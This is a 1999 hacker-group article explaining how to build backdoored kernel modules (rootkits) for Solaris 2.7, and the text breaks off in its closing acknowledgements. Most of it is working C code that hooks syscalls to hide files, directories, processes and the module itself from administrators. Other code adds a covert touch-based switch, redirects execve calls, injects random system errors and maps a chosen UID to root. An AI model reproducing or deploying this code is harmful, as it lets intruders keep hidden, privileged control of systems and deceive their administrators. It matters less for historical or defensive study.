

                      Solaris Loadable Kernel Modules
 "Attacking Solaris with loadable kernel modules" - Version 1.0  (c) 1999

               Author: Plasmoid <plasmoid@pimmel.com> / THC
       Sources: slkm-1.0.tar.gz (flkm.c, anm.c, sitf0.1.c, sitf02.c)
         The Hacker's Choice Website: http://www.infowar.co.uk/thc/

 Content

      1   Introduction
      2   (Un)Loading of kernel modules
      3   Basic structure of kernel modules under Solaris
           3.1   Standard headers and structs
           3.2   Hiding the module
           3.3   _init(), _fini() and _info() calls
           3.4   Compiling and linking modules
           --->   Module: flkm.c
      4   Redirecting syscalls and managing memory
           4.1   Syscalls under Solaris
           4.2   Generating errno messages
           4.3   Allocating kernel memory
           --->   Module: anm.c
      5   Implementing the common backdoors
           5.1   Hiding files from getdents64()
           5.2   Hiding directories and file content
           5.3   Generating a remote switch
           5.4   Hiding processes (proc file system approach)
           --->   Module: sitf0.1.c
           5.5   Redirecting an execve() call
           5.6   Hiding processes (structured proc approach)
           --->   Module: sitf0.2.c
      6   Future plans
      7   Closing words

  ------------------------------------------------------------------------



 1   Introduction

      Loadable kernel modules represent an important part of the
      kernel architecture. They provide an interface to hardware
      devices and data within the kernel memory. Most Unix systems
      enforce the usage of loadable kernel modules in order to offer
      maximum interaction with the peripherials and the kernel.
      Due to those features, kernel modules have gained the interest
      of intruders, since they affect the operating system at the
      basic level and guarantee an efficient and hard to detect way
      to manipulate the system. In the past years loadable kernel
      modules including backdoors have been published for Unix
      systems such as Linux and FreeBSD. This article describes the
      technologies used to develop backdoored modules for the
      operating system Solaris 2.7 (Sparc/Intel).
      The modules conributed with this article have not been tested
      on Solaris 2.6 (Sparc), if you are interested in testing these
      modules, please contact me.
      Eventhough most sources listed in this article haven been
      tested on several computers running Solaris 2.7 (Ultra
      Sparc/Sparc/x86) and Solaris 2.6 (Ultra Sparc), they might
      crash or even destroy your system, therefore use all modules
      from the slkm-1.0.tar.gz tarball with care. The modules have
      not been tested using Sun's C Compiler, instead we used the
      free Gnu C Compiler - available from sunfreeware.com.
      This article and its sources are designed for educational
      puroses only, I strongly advise you not to use any modules
      provided with this article on systems you do not own or aren't
      allowed to manipulate.

  ------------------------------------------------------------------------



 2   (Un)Loading of kernel modules

      Most parts of Solaris' functionality are realized using kernel
      modules (e.g. ip/tcp, scsi, ufs), tools from other vendors or
      authors use this mechanism too (e.g. ipf, pppd, oss), you can
      get a list of all loaded and (in)active modules by using the
      command /usr/sbin/modinfo.

           # modinfo
            Id Loadaddr   Size Info Rev Module Name
             4 fe8c6000   313e   1   1  specfs (filesystem for
           specfs)
             6 fe8ca414   2258   1   1  TS (time sharing sched
           class)
             7 fe8cc228    4a2   -   1  TS_DPTBL (Time sharing
           dispatch table)
             8 fe8cc27c    194   -   1  pci_autoconfig (PCI BIOS
           interface)
           #

      Id is the module-id, Loadaddr is the starting text address in
      hexadecimal, Size is the size of text, data, and bss in
      hexadecimal bytes, Info is module specific information, Rev is
      the revision of the loadable modules system, and Module Name is
      the filename and description of the module.
      Device driver or pseudo device driver modules include an Info
      number, modules which do not communicate with a device do not
      include this information. These modules are declared as "misc"
      (&mod_miscops) modules. Since we are developing a kernel module
      for an attacking approach, we will later generate such a
      miscellaneous module.

      In order to load or unload kernel modules, you can use the two
      commands /usr/sbin/modload and /usr/sbin/modunload. Modload's
      command line is the name of a module and modunload's command
      line "-i ID" the Id of a loaded module (see modinfo above.).

           # modinfo -i 125
            Id Loadaddr   Size Info Rev Module Name
           125 fe95959c    125   -   1  flkm (First Loadable
           Kernel Module)
           # modunload -i 125

      Solaris includes a lot of good man pages dealing with kernel
      modules, (un)loading, information and even programming. You
      should take a look at those, but don't get confused the example
      code within "man _init" compiles but does not load. If you have
      access to Solaris' AnswerBook2 take a look at the sections
      describing the development of device drivers.

  ------------------------------------------------------------------------



 3   Basic structure of kernel modules under Solaris

      Kernel modules under Solaris need a lot of definied variables
      in order to get loaded into the system, this is a major
      difference to Linux kernel modules that can easily be created
      by just using an init_module() and cleanup_module() call. Take
      a look at pragmatic's articles about kernel modules for Linux
      and FreeBSD.

 3.1   Standard headers and structs

      Eventhough we don't want to develop a device driver module, we
      have to include the DDI, SunDDI and the modctl headers that
      provide us with structs as modlinkage and mod_ops. The first
      lines of a module look like this:

           #include <sys/ddi.h>
           #include <sys/sunddi.h>

           /*
            * This is the loadable module wrapper.
            */
           #include <sys/modctl.h>

           extern struct mod_ops mod_miscops;

           /*
            * Module linkage information for the kernel.
            */
           static struct modlmisc modlmisc = {
               &mod_miscops,
               "First Loadable Kernel Module",
           };

           static struct modlinkage modlinkage = {
               MODREV_1,
               (void *)&modlmisc,
               NULL
           };

      As you can see, we include some external structs into the
      module and define the name of the kernel module inside the
      modlmisc struct. The modlinkage struct references modlmisc and
      tells the kernel that this is not a device driver module and
      that no info flag is displayed by modinfo. If you want to go
      into the details of these structs and maybe develop device or
      pseudo device driver module, take a look at the following man
      pages: modldrv(9S), modlinkage(9S) and modlstrmod(9S). If you
      just want to understand the backdoored modules in this article,
      simply read on.

 3.2   Hiding the module

      If we change the name of the kernel module to an empty string
      ("") in the modlmisc struct, modinfo will not display the
      module, eventhough it is loaded and its Id is reserved. This is
      a useful feature for hiding the module and the module can still
      be unloaded if you know its Id. Grabbing this Id is simple, if
      you take a look at the modules Ids before loading the module
      and later after some other modules have been loaded.

           # modinfo
            Id Loadaddr   Size Info Rev Module Name
           [...]
           122 fe9748e8    e08  13   1  ptem (pty hardware
           emulator)
           123 fe983fd8    1c0  14   1  redirmod (redirection
           module)
           124 fe9f60a4    cfc  15   1  bufmod (streams buffer
           mod)
           # modload flkm


           # modinfo
            Id Loadaddr   Size Info Rev Module Name
           [...]
           122 fe9748e8    e08  13   1  ptem (pty hardware
           emulator)
           123 fe983fd8    1c0  14   1  redirmod (redirection
           module)
           124 fe9f60a4    cfc  15   1  bufmod (streams buffer
           mod)
           126 fe9f8e5c   8e3c  13   1  pcfs (filesystem for PC)

           127 fea018d4   19e1   -   1  diaudio (Generic Audio)
           128 fe94aed0    5e3  72   1  ksyms (kernel symbols
           driver)


      As you can see the Id 125 is obviously not reserved and we
      loaded our kernel module into the memory with no name string in
      the modlmisc struct. If we want to unload it now, we can easily
      do this by unloading the Id 125. Those unreserved Ids can be
      found in a modinfo listing at different places, but due to the
      fact that modunload won't return an error if you try to unload
      a non existing module, nobody can detect our module by using
      modinfo or modunload. The second version of this article will
      include mechanisms to completely protect a module from being
      listed and unloaded. This can only be done by patching the
      Solaris module ksyms that lists and manages all kernel symbols.
      Even if this protection leaving the module's name blank is
      weak, it will fit your needs, if the system administrator is
      not a real system programmer.

 3.3   _init(), _fini() and _info() calls

      A kernel module under Solaris must include at least the
      following three functions: _init(), _fini() and _info().
      _init() initializes a loadable module, it is called before any
      other routine in a loadable module. Within an _init() call you
      need to call another function called mod_install() that takes
      the modlinkage struct as an argument. _init() returns the value
      returned by mod_install(). The returned value should be
      interpreted in order to catch errors while loading the module.

           int _init(void)
           {
               int i;

               if ((i = mod_install(&modlinkage)) != 0)
                   cmn_err(CE_NOTE,"Could not install
           module\n");
               else
                   cmn_err(CE_NOTE,"flkm: successfully
           installed");

               return i;
           }

      The _info() function returns information about a loadable
      module, within this function the call mod_info() has to be
      made. If we use an empty name in the modinfo struct mod_info()
      will return no information to /usr/sbin/modinfo.

           int _info(struct modinfo *modinfop)
           {
               return (mod_info(&modlinkage, modinfop));
           }

      _fini() prepares a loadable module for unloading. It is called
      when the system wants to unload a module. Within _fini() a call
      to mod_remove() has to be placed. It is also wise to catch the
      return values in order to report errors while unloading the
      module.

           int _fini(void)
           {
               int i;

               if ((i = mod_remove(&modlinkage)) != 0)
                   cmn_err(CE_NOTE,"Could not remove module\n");

               else
                   cmn_err(CE_NOTE,"flkm: successfully
           removed");

               return i;
           }

      A good documentation about these calls can be found in the
      following Solaris man pages: _info(9E) and mod_install(9F). If
      you are calling cmn_err() with CE_NOTE as level from a running
      module the output will be printed to your syslogd as a notice.
      cmn_err() is function to output information from kernel memory,
      it can also be used to set run levels if you are debugging your
      module.

 3.4 Compiling and linking modules

      Compiling a module is very simple, all you need to set are some
      definitions that tell the included code this will be a kernel
      module and not a normal executable. You should always link your
      module's object file with the "-r" option otherwise the module
      will not load, because the kernel module linker will not be
      able to link the module.

           gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c
           ld -o flkm -r flkm.o

      The Solaris kernel does not include as many standard C function
      as the Linux kernel, if you want to use some of those standard
      libC functions, extract them from the libc.a archive in /lib
      and link them to your module using the ar command. If you are
      one of those lucky guys owning the Solaris 2.7 source and
      knowing where to find what you are looking for inside the weird
      source of Solaris, include the original source of the extracted
      objects.

           ar -x /lib/libc.a memmove.o memcpy.o strstr.o
           ld -o flkm -r flkm.o memmove.o memcpy.o strstr.o

      In my examples I included a switch called DEBUG, this switch
      will activate a lot of debug outputs, if you are one of those
      nasty hackers don't forget to undefine DEBUG in the code or
      configure the Makefile. DEBUG is a very common definition if
      working with kernel modules, there are some kernel functions
      that might help you debugging, e.g. ASSERT().

 -->   Module: flkm.c

      The Module flkm.c (First Loadable Kernel Module) from the
      package slkm-1.0.tar.gz demonstrates the techniques described
      in sections 3.1-3.4 and represents an empty working module that
      should be easily loadable into the kernel.

  ------------------------------------------------------------------------



 4   Redirecting syscalls and managing memory

      Redirecting syscalls is one of the important things if you
      write backdoored kernel modules, instead of developing your own
      functions, you redirect the common syscalls to your fake
      syscalls that will do what ever you want. If you want to get an
      idea of what can be done using faked syscalls take a look at
      pragmatic's article at www.infowar.co.uk/thc.

 4.1   Syscalls under Solaris

      Syscalls under Solaris are stored in an array sysent[] each
      entry is a structure that hold information about a syscall. The
      values for all syscalls can be found in the file
      /usr/include/sys/syscall.h. If you take a closer look at the
      list of syscalls, you will recognize that there are some major
      differences to the Linux syscall header file. So be careful if
      you try to port a Linux kernel module to Solaris.
      The syscalls open(), creat(), etc are not used for filesystem
      functions, instead the following calls are used open64(),
      creat64(), etc. Before you try to redirect a syscall under
      Solaris use the tool /usr/bin/truss to trace the syscalls of
      the programm that uses your syscalls, e.g. ps uses the open()
      call to check the files inside the proc tree while cat uses the
      open64() to open a file from the filesystems even if it is
      within the proc tree. Let's look at some example code:

           int (*oldexecve) (const char *, const char *[], const
           char *[]);
           int (*oldopen64) (const char *path, int oflag, mode_t
           mode);
           int (*oldread) (int fildes, void *buf, size_t nbyte);

           int (*oldcreat64) (const char *path, mode_t mode);
           [...]

           int newcreat64(const char *path, mode_t mode)
           {
           [...]

           int _init(void)
           {
               int i;

               if ((i = mod_install(&modlinkage)) != 0)
                   cmn_err(CE_NOTE,"Could not install
           module\n");
           #ifdef DEBUG
               else
                   cmn_err(CE_NOTE,"anm: successfully
           installed");
           #endif

               oldexecve = (void *) sysent[SYS_execve].sy_callc;

               oldopen64 = (void *) sysent[SYS_open64].sy_callc;

               oldcreat64 = (void *)
           sysent[SYS_creat64].sy_callc;
               oldread = (void *) sysent[SYS_read].sy_callc;

               sysent[SYS_execve].sy_callc = (void *) newexecve;

               sysent[SYS_open64].sy_callc = (void *) newopen64;

               sysent[SYS_creat64].sy_callc = (void *)
           newcreat64;
               sysent[SYS_read].sy_callc = (void *) newread;

               return i;
           }

      This is an _init() call described in 3.3, after initializing
      the module we copy the pointers of the old syscalls that are
      stored in the member .sy_callc to some pointers we defined at
      the top of our module. This is done exactly as with all Linux
      kernel modules.
      After we have saved the old pointers we copy pointers of our
      new syscalls (in this case: int newcreat64(const char
      *path,mode_t mode) to the pointers in the sysent[] array.

 4.2   Generating errno messages

      I have seen some loadable kernel modules that generate error
      message a way that wont work under Solaris, the so called error
      numbers listed in /usr/include/sys/errno.h should not be
      returned by function using the following code:

           return -ENOENT;

      Eventhough this code will work since a negative value is
      returned it does not tell Solaris what kind of error appeared,
      instead the following code using the syscall set_errno() is the
      correct solution.

           set_errno(ENOENT);
           return -1;

      You really should tell your operating system what is going
      wrong even if you produce a fake error message.

 4.3   Allocating kernel memory

      When working inside the kernel, you cannot allocate memory
      using the function alloc() or malloc() due to the fact that the
      kernel memory is strictly seperated from the user memory.
      Solaris provides to function for allocating and freeing kernel
      memory.

           name = (char *) kmem_alloc(size, KM_SLEEP);

      kmem_alloc() allocates size bytes of kernel memory and returns
      a pointer to the allocated memory. The allocated memory is at
      least double-word aligned, so it can hold any C data structure.
      No greater alignment can be assumed. The second parameter
      determines whether the caller can sleep for memory. KM_SLEEP
      allocations may sleep but are guaranteed to succeed. KM_NOSLEEP
      allocations are guaranteed not to sleep but  may fail  (return
      NULL) if no memory is currently available. KM_NOSLEEP using
      kmem_alloc() should only be used from interrupt context, it
      should not be called otherwise. The initial contents of memory
      allocated using kmem_alloc() are random garbage.
      The allocated kernel memory has to be freed using the function
      kmem_free(size), while size is the size of the allocated
      memory. Be careful, if you are freeing more memory as you
      allocated major problems will occur, since unwanted parts of
      the kernel get freed.

      As I started coding this module I didn't care about the
      transfer between user and kernel memory. On Solaris 2.7 (x86) a
      memcpy() successfully solved this task and there was no need
      for special commands. But on Solaris (Sparc) this lousy way of
      transfering data didn't work at all. For a proper transfer use
      the functions copyin() and copyout() that provide a way to
      transfer data from kernel memory (device module memory) and
      user memory.
      If you want to copy null-terminated strings from userspace to
      kernel memory use the command copyinstr(), that has the
      following prototype copyinstr(char *src, char *dst, size_t
      length, size_t size). length describes how many bytes to read
      while size is the value of actually read bytes.
      A complete description of these functions can be found in the
      following Solaris man pages: kmem_alloc(9F), copyin(9F) and
      copyout(9F). Here is a small example:

               name = (char *) kmem_alloc(256, KM_SLEEP);
               copyin(filename, name, 256);
               if (!strcmp(name, (char *) oldcmd)) {
                   copyout((char *) newcmd, (char *) filename,
           strlen(newcmd) + 1);
                   cmn_err(CE_NOTE,"sitf: executing %s instead
           of %s", newcmd, name);
               }

      If you don't need to allocate kernel memory, e.g. if you are
      just comparing some values, you might use also the memcpy()
      function, but be adviced memcpy doesnot work on Ultra Sparc.
      Use copyinstr() in order to copy null terminated strings to
      kernel memory where you can compare them. copyinstr(char *src,
      char *dst, size_t n, size_t n)

 -->   Module: anm.c

      As an example I included the module anm.c (Administrator's
      NightMare) from the package slkm-1.0.tar.gz, this is not a very
      intelligent module - instead of backdooring the system, this
      module randomly generates system errors on the following
      syscalls: execve(),open64() and read(). The period of the
      random errors can be set with these three variables:

           int open_rate = 200;
           int read_rate = 8000;
           int exec_rate = 400;

      The values have been tested on a client station. The system
      behaves quite normal, but from time to time a small error
      appears that won't interest an admin. The system will just look
      like one of those badly configured cheap Solaris (but actually
      it isn't).
      To activate or deactivate the errors I developed a switching
      mechanism, I will explain the technique later in 5.3, first of
      all here is the usage from the command line when the module is
      loaded.

           touch my_stupid_key

      This command enables or disables the functions of the anm.c
      module, if you used the correct key that has been defined
      inside the module you will get an error message instead of a
      touched "my_stupid_key" file.

  ------------------------------------------------------------------------



 5   Implementing the common backdoors

      Most ideas of the backdoors I implemented have been taken from
      plaguez's itf.c module and the article written by pragmatic
      (see 7 References), some of them could be implemented as they
      are, other routines had to be rewritten and some had to be
      coded from scratch.
      If you take a look at the modules sitf0.1.c and sitf0.2.c from
      the package slkm-1.0.tar.gz you will find backdoors that are
      not described in this article, these function could be ported
      without any problem from Linux or FreeBSD modules. I think they
      have been documented in several other articles already.

 5.1   Hiding files from getdents64()

      If you trace through commands as ls or du you will find out
      that Solaris systems use the getdents64() syscall to retrieve
      information about the content of a directory therefore I took a
      closer look at plaguez's implementation of a faked getdents()
      syscall hiding files from being listed.
      While playing with his code I discovered that getting the
      entries from getdents64() is easier as on Linux, it is not
      necessary to care about user- and kernelsparce (well, I know
      this isn't a proper approach, but who cares), I simply modified
      his code to work with getdents64() and the dirent64 entries
      used copyin() and copyout() (see 4.3 Allocation kernel memory).
      The getdents64() syscall and its structs are documented inside
      the Solaris man pages, take a look at the following pages:
      getdent(2), dirent(4), but keep in mind that you have to use
      the 64bit variants, just read the header file
      /usr/include/sys/dirent.h and you will find what you are
      looking for. A final version of a faked getdents64() syscall
      looks like that:

           #define MAGIC   "CHT.THC"
           char magic[] = MAGIC;

           [...]

           int newgetdents64(int fildes, struct dirent64 *buf,
           size_t nbyte)
           {
               int ret, oldret, i, reclen;
               struct dirent64 *buf2, *buf3;

               oldret = (*oldgetdents64) (fildes, buf, nbyte);
               ret = oldret;

               if (ret > 0) {
                   buf2 = (struct dirent64 *) kmem_alloc(ret,
           KM_SLEEP);
                   copyin((char *) buf, (char *) buf2, ret);
                   buf3 = buf2;

                   i = ret;
                   while (i > 0) {
                       reclen = buf3->d_reclen;
                       i -= reclen;

                       if (strstr((char *) &(buf3->d_name),
           (char *) &magic) != NULL) {
           #ifdef DEBUG
                           cmn_err(CE_NOTE,"sitf: hiding file
           (%s)", buf3->d_name);
           #endif
                           if (i != 0)
                               memmove(buf3, (char *) buf3 +
           buf3->d_reclen, i);
                           else
                               buf3->d_off = 1024;
                           ret -= reclen;
                       }
                       /*
                        * most people implement this little
           check into their modules,
                        * don't ask me, if some of the solaris
           fs driver modules really
                        * generate a d_reclen=0.
                        * correction: this code is needed for
           solaris sparc at least,
                        * otherwise you`ll find yourself back in
           a world of crashes.
                        */
                       if (buf3->d_reclen < 1) {
                           ret -= i;
                           i = 0;
                       }
                       if (i != 0)
                           buf3 = (struct dirent64 *) ((char *)
           buf3 + buf3->d_reclen);
                   }
                   copyout((char *) buf2, (char *) buf, ret);
                   kmem_free(buf2, oldret);
               }
               return ret;
           }

      Understanding this code is not that easy, since it works with
      the weird dirent structure, but the dirent struct is also
      present in Linux and can be understand reading the man pages
      and the specific headers, I won't go into more details.
      There is still a minor problem with this piece of code, when
      you include the magic string more than once in to your filename
      the module won't act correctly, it looks like the strstr()
      function causes problems while running inside the kernel. I
      plan to fix this bug in version 2.0 of the article / module,
      until then include the magic string only once in your
      filenames.

 5.2   Hiding directories and file content

      This idea has been taken from pragamatic's Linux kernel module
      article. If files are hidden from being listed as described
      above they still can be accessed by everybody and directories
      can be entered by everybody too. I used a switch (see 5.3
      Generating a remote switch) to toggle these features On and
      Off. So if I don't want anybody to access the content of my
      hidden files or anybody to enter my hidden directories, I would
      turn the switch On.
      The syscall open64() is used to open files for reading and
      writing under Solaris (not inside the /proc), if the filename
      of the file to be opened contains the magic word and the
      security flag is set, the faked syscall will return the error
      message: "No such file or directory".

           #define MAGIC   "CHT.THC"
           char magic[] = MAGIC;
           int security = FALSE;

           [...]

           int newopen64(const char *path, int oflag, mode_t
           mode)
           {
               int ret;
               int len;
               char namebuf[1028];

               ret = oldopen64(path, oflag, mode);

               if (ret >= 0) {
                   copyinstr(path, namebuf, 1028, (size_t *) &
           len);

                   if (security && strstr(namebuf, (char *)
           &magic) != NULL) {
           #ifdef DEBUG
                       cmn_err(CE_NOTE, "sitf: hiding content of
           file (%s)", namebuf);
           #endif
                       set_errno(ENOENT);
                       return -1;
                   }
                   return ret;
               }
           }


      The syscall chdir() is used to change the current directory, if
      someone tries to enter a directory containing the magic string
      and the security flag is set, the faked syscall will return the
      error message: "No such file or directory".

           int newchdir(const char *path)
           {
               char namebuf[1028];
               int len;

               copyinstr(path, namebuf, 1028, (size_t *) & len);

               if (security && strstr(namebuf, (char *) &magic)
           != NULL) {
           #ifdef DEBUG
                   cmn_err(CE_NOTE, "sitf: hiding directory
           (%s)", namebuf);
           #endif
                   set_errno(ENOENT);
                   return -1;
               } else
                   return oldchdir(path);
           }


      These two functions combined with the faked getdents64() call
      protect all files and directories you want to hide including
      their content. But how can you easily switch between the total
      security and a work-environment where files are hidden but you
      can access and manipulate them, e.g. configuration files, read
      on.

 5.3   Generating a remote switch

      While investigating some of the most used command line
      programs, I stumbeld over /usr/bin/touch, touch uses the
      syscall creat64(). I found this to be a good place to include a
      remote switch, for toggling features of a module On or Off,
      e.g. the security flag above in 5.2. Of cause this is not a
      real secure switch because an administrator could monitor you
      activities and will discover you suspicious touch calls.
      First of all we need to define a key that will help us being
      the only person toggling our switch.

           #define KEY "mykey"
           char key[] = KEY;

           [...]

           int newcreat64(const char *path, mode_t mode)
           {
               char namebuf[1028];
               int len;

               copyinstr(path, namebuf, 1028, (size_t *) & len);

               if (strstr(namebuf, (char *) &key) != NULL) {
                   if (security) {
           #ifdef DEBUG
                       cmn_err(CE_NOTE, "sitf: disabeling
           security");
           #endif
                       security = FALSE;
                   } else {
           #ifdef DEBUG
                       cmn_err(CE_NOTE, "sitf: enabeling
           security");
           #endif
                       security = TRUE;
                   }
                   set_errno(ENFILE);
                   return -1;
               } else
                   return oldcreat64(path, mode);
           }

      When the touch command is used the syscall creat64() will be
      called. Our faked syscall will check if the filename includes
      our key and then en- or disable the security flag. In order to
      tell us if this suceed it will return the error (ENFILE, The
      system file table is full). I hope this is a rather seldom
      error message.

 5.4   Hiding processes (proc file system approach)

      Before I concentrated on the structured proc of Solaris, I
      developed a basic way to hide files from being listed. This
      code should only function as an example because it may consume
      a lot cpu power.
      When a user executes ps or top these tools will read parts of
      the proc file systems and return their content. The file that
      halts information about the process caller and the executed
      file is psinfo found inf /proc/<pid>/psinfo. The content of
      this file is described in /usr/include/sys/procfs.h.

           typedef struct psinfo {
                   int     pr_flag;        /* process flags */
                   int     pr_nlwp;        /* number of lwps in
           process */
                   pid_t   pr_pid;         /* unique process id
           */
                   pid_t   pr_ppid;        /* process id of
           parent */
                   pid_t   pr_pgid;        /* pid of process
           group leader */
                   pid_t   pr_sid;         /* session id */
                   uid_t   pr_uid;         /* real user id */

                   [...]

                   char    pr_psargs[PRARGSZ];     /* initial
           characters of arg list */
                   int     pr_wstat;       /* if zombie, the
           wait() status */
                   int     pr_argc;        /* initial argument
           count */
                   uintptr_t pr_argv;      /* address of initial
           argument vector */
                   uintptr_t pr_envp;      /* address of initial
           environment vector */
                   char    pr_dmodel;      /* data model of the
           process */
                   char    pr_pad2[3];
                   int     pr_filler[7];   /* reserved for
           future use */
                   lwpsinfo_t pr_lwp;      /* information for
           representative lwp */
           } psinfo_t;


      It's always the size of the psinfo_t struct. The member psargs
      includes the executed filename and the following arguments.
      Whenever a file named psinfo is opened a faked open() syscall
      will set a special flag, signaling that one of the next read()
      calls will read this file. Note that inside the /proc file
      system Solaris uses the open() syscall instead of the open64()
      syscall.

           #define MAGIC "CHT.THC"
           char magic[] = MAGIC;
           char psinfo[] = "psinfo";
           int psfildes = FALSE;

           [...]

           int newopen(const char *path, int oflag, mode_t mode)

           {
               int ret;

               ret = oldopen(path, oflag, mode);
               if (strstr(path, (char *) &psinfo) != NULL) {
                   psfildes = ret;
               } else
                   psfildes = FALSE;

               return ret;
           }

      A redirected read() function will look into the file if it has
      the size of a psinfo file and the open64() call has set the
      psfildes flag to the specific file descriptor. The read()
      syscall will then copy the content of the file to a psinfo_t
      struct and compare the executed file with the magic string.
      This is done by investigating psinfo_t->pr_psargs. If the magic
      string is found it will return an error and this proc entry
      won't be displayed in a process listing.

           ssize_t
           newread(int fildes, void *buf, size_t nbyte)
           {
               ssize_t ret;
               psinfo_t *info;

               ret = oldread(fildes, buf, nbyte);
               if (fildes > 0 && fildes == psfildes && nbyte ==
           sizeof(psinfo_t)) {
                   info = (psinfo_t *)
           kmem_alloc(sizeof(psinfo_t), KM_SLEEP);
                   copyin(buf, (void *) info, sizeof(psinfo_t));

                   if (strstr(info->pr_psargs, (char *) &magic)
           != NULL) {
           #ifdef DEBUG
                       cmn_err(CE_NOTE,"hiding process: %s",
           info->pr_psargs);
           #endif
                       kmem_free(info, sizeof(psinfo_t));
                       set_errno(ENOENT);
                       return -1;
                   } else
                       kmem_free(info, sizeof(psinfo_t));
               }
               return ret;
           }

      You see that this is really not a proper way to hide processes
      from being listed because a lot cpu power will be wasted by the
      open64() and the read() call due to the fact that they got
      called very often on any system. A really fast method can be
      found in 5.6 Hiding processes (structured proc approach), just
      read on.

 --->   Module: sitf0.1.c

      The module sitf0.1.c (Solaris Integrated Trojan Facility)
      demonstrates all topics described above, it is configured by
      setting the following variables:

           #define MAGIC   "CHT.THC"
           #define KEY     "mykey"
           #define UID     1001

      If a file or a process includes the string MAGIC, it will not
      be listed by any tool. Directories or file content of files
      containing this string will also be unaccessiable if the
      security flag is set. You can toggle the security flag by using
      the touch command, KEY is the argument for touch.

           $ touch mykey

      The UID specifies the user id that should automatically be
      mapped to root if a user logs on.You can monitor all activities
      via syslogd if you compiled the module with the DEBUG
      defintion.

 5.5   Redirecting an execve() call

      Redirecting the execve() call was really a challange on Solaric
      (Sparc), because the kernel really "cares" about a proper user-
      and kernel memory transfer. The following code does not
      allocate user memory, it simply overwrites the defined buffer
      with the new command to execute, eventhough I have tested this
      call a thousand times and nothing bad happened, I advice you to
      read the next version of this article, that will feature some
      techniques to allocate user memory properly.

           #define OLDCMD  "/bin/who"
           #define NEWCMD  "/usr/openwin/bin/xview/xcalc"
           char oldcmd[] = OLDCMD;
           char newcmd[] = NEWCMD;

           [...]

           int newexecve(const char *filename, const char
           *argv[], const char *envp[])
           {
               int ret;
               char *name;
               unsigned long addr;

               name = (char *) kmem_alloc(256, KM_SLEEP);
               copyin(filename, name, 256);
               if (!strcmp(name, (char *) oldcmd)) {
                   copyout((char *) newcmd, (char *) filename,
           strlen(newcmd) + 1);
           #ifdef DEBUG
                   cmn_err(CE_NOTE,"sitf: executing %s instead
           of %s", newcmd, name);
           #endif
               }
               kmem_free(name, 256);
               return oldexecve(filename, argv, envp);
           }

 5.6   Hiding processes (structured proc approach)

      This is a proper approach for hiding processes from being
      listed. Take a look at the header file /usr/include/sys/proc.h,
      you will find inside the large proc_t struct a member that is
      called struct user p_user. Every process owns such a proc_t
      struct. Solaris generates the files inside the /proc directory
      from these proc_t entries and their corresponding values. If
      you look into the definition of the user struct in
      /usr/include/sys/user.h, you will find what I was looking for
      the last weeks:

           typedef struct  user {

           [...]
                   /*
                    * Executable file info.
                    */
                   struct exdata   u_exdata;
                   auxv_t  u_auxv[__KERN_NAUXV_IMPL]; /* aux vector
           from exec */
                   char    u_psargs[PSARGSZ];      /* arguments from
           exec */
                   char    u_comm[MAXCOMLEN + 1];

           [...]

      The member u_psargs carries the executed filename of a process
      and its arguments, this is a good place to check if we should
      hide the process. There is a little macro defintion in proc.h
      that helps us getting the p_user entry from proc_t:

           /* Macro to convert proc pointer to a user block pointer
           */
           #define PTOU(p)         (&(p)->p_user)

      Now we can determine the exectued filename of every process if
      we know where the proc_t struct is. Another nice funtions helps
      us finding the proc_t struct from a corresponding pid: proc_t
      *prfind(pid_t). A tool listing process accesses the /proc
      directory that stores the processes sorted by their pids. I
      included a small check into the getdents64() fake syscall from
      above, so the function check_for_process() gets called.

           [...]

                   while (i > 0) {
                       reclen = buf3->d_reclen;
                       i -= reclen;

                       if ((strstr((char *) &(buf3->d_name),
           (char *) &magic) != NULL) ||
                           check_for_process((char *)
           &(buf3->d_name))) {
           #ifdef DEBUG
                           cmn_err(CE_NOTE,"sitf: hiding
           file/process (%s)", buf3->d_name);
           #endif
                           if (i != 0)
                               memmove(buf3, (char *) buf3 +
           buf3->d_reclen, i);
                           else
                               buf3->d_off = 1024;
                           ret -= reclen;
                       }

           [...]

      Now let's take a look at the check_for_process() function. In
      the following code I use a small function called sitf_isdigit()
      and sitf_atoi(), you should easily guess what these function
      do. In this content it tells us if the file is maybe inside the
      proc and represents a pid. The check_process() call implements
      the mechanism described above:


           int check_for_process(char *filename)
           {
               if (sitf_isdigit(filename) &&
           check_process(sitf_atoi(filename)))
                   return TRUE;
               else
                   return FALSE;
           }

           int check_process(pid_t pid)
           {
               proc_t *proc;
               char *psargs;
               int ret;

               proc = (proc_t *) prfind(pid);
               psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);

               if (proc != NULL)
                   /*
                    * PTOU(proc)->u_psargs is inside the kernel
           memory, no special
                    * copy methods are needed.
                    */
                   memcpy(psargs, PTOU(proc)->u_psargs,
           PSARGSZ);
               else
                   return FALSE;

               if (strstr(psargs, (char *) &magic) != NULL)
                   ret = TRUE;
               else
                   ret = FALSE;
               kmem_free(psargs, PSARGSZ);
               return ret;
           }

 --->   Module: sitf0.2.c

      The sitf0.2.c (Solaris Integrated Trojan Facility) implements
      the features described in 5.5 and 5.6, it is configured as the
      sitf0.1 module and includes the following 2 defintions:

           #define OLDCMD  "/bin/who"
           #define NEWCMD  "/usr/openwin/bin/xview/xcalc"

      If the file OLDCMD is executed the NEWCMD will be executed
      instead, this is a usefull feature for placing backdoors in
      hidden directories.

  ------------------------------------------------------------------------



 6  Future plans

      If you read the article carefully, you may have found a lot of
      things to be fixed in future releases, here is a brief summary of my
      ideas and plans for the next version - including fixes and
      improvements:
           - Proper implementation of allocating user memory
           - Bugfree version of the getdents64() file hiding mechanism
           allowing files to contain the magic word more than once.
           - Proper hiding of the module by backdooring the ksyms module
           - ICMP backdoor executing programs realized backdooring the
           icmp module
           - Hiding connections from netstat
           - UDP based telnet access via the udp module (damn, this is
           hard stuff. Idea by Escher)
           - A module version for Solaris 2.5 (Sparc) and 2.6 (Sparc/x86)
      As a result of this article I also plan to write a security module
      for Solairs 2.7 (Sparc/x86) including the following features:
           - Protected module loading and unloading
           - Limited process listings for users
           - Symlink checks in writable directories
           - Kernel based packet sniffing
           - Exploited overflow notification

  ------------------------------------------------------------------------



 7   Closing words

      I thank the following people that helped creating this article:

           - Wilkins  ... for all his help, betatesting and
           ideas
           - Pragmatic ... for his articles and support at the
           CCCamp
           - Acpizer ... for all his knowledge and help with the
           modules
           - Escher ... for his Solaris 2.5 support and
           corrections
           - Horizon ... for his Ultra Sparc port and his help
           - Knie ... godfather of OpenBSD
           - Plaguez ... for his great itf.c Linux module
           (written in '97)
           - Ekonroth from the church of shambler ... for mental
           support
           - All people in my favorite IRC channel

      I would also like to thank my girlfriend who spent a lot of
